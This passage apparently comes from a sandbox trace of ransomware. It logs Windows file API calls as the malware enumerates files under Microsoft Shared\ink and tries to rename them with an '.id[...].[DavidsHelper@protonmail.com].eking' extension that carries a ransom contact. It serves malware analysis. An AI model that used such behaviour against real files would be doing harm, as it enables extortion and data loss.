dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.218] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=8704) returned 1 [0268.218] CloseHandle (hObject=0x100) returned 1 [0268.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0268.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0268.233] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.233] SetEvent (hEvent=0xe0) returned 1 [0268.233] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.234] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=10240) returned 1 [0268.234] CloseHandle (hObject=0x100) returned 1 [0268.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0268.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0268.234] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.234] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.235] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2560) returned 1 [0268.235] CloseHandle (hObject=0x100) returned 1 [0268.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0268.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0268.235] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.235] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.236] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.236] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=2560) returned 1 [0268.236] CloseHandle (hObject=0x100) returned 1 [0268.236] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0268.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0268.237] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.237] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.237] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=43520) returned 1 [0268.237] CloseHandle (hObject=0x100) returned 1 [0268.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0268.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0268.238] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.238] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.238] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=194048) returned 1 [0268.238] CloseHandle (hObject=0x100) returned 1 [0268.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0268.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0268.239] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.239] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.239] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3072) returned 1 [0268.239] CloseHandle (hObject=0x100) returned 1 [0268.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0268.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0268.240] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.240] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.240] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3072) returned 1 [0268.240] CloseHandle (hObject=0x100) returned 1 [0268.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0268.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0268.241] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.241] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.241] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=32768) returned 1 [0268.242] CloseHandle (hObject=0x100) returned 1 [0268.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0268.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0268.242] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.242] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.243] CloseHandle (hObject=0x100) returned 1 [0268.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0268.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0268.243] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.243] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.243] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3072) returned 1 [0268.244] CloseHandle (hObject=0x100) returned 1 [0268.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0268.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0268.244] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.244] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.245] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.245] CloseHandle (hObject=0x100) returned 1 [0268.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0268.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0268.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.245] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.246] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=4096) returned 1 [0268.246] CloseHandle (hObject=0x100) returned 1 [0268.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0268.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0268.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.247] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=3584) returned 1 [0268.247] CloseHandle (hObject=0x100) returned 1 [0268.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0268.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0268.247] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0268.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0268.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.248] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=1600388) returned 1 [0268.248] CloseHandle (hObject=0x100) returned 1 [0268.248] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0268.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0 [0268.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0 [0268.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0268.249] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2fafb68 | out: lpFileSize=0x2fafb68*=927744) returned 1 [0268.249] CloseHandle (hObject=0x100) returned 1 [0268.249] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 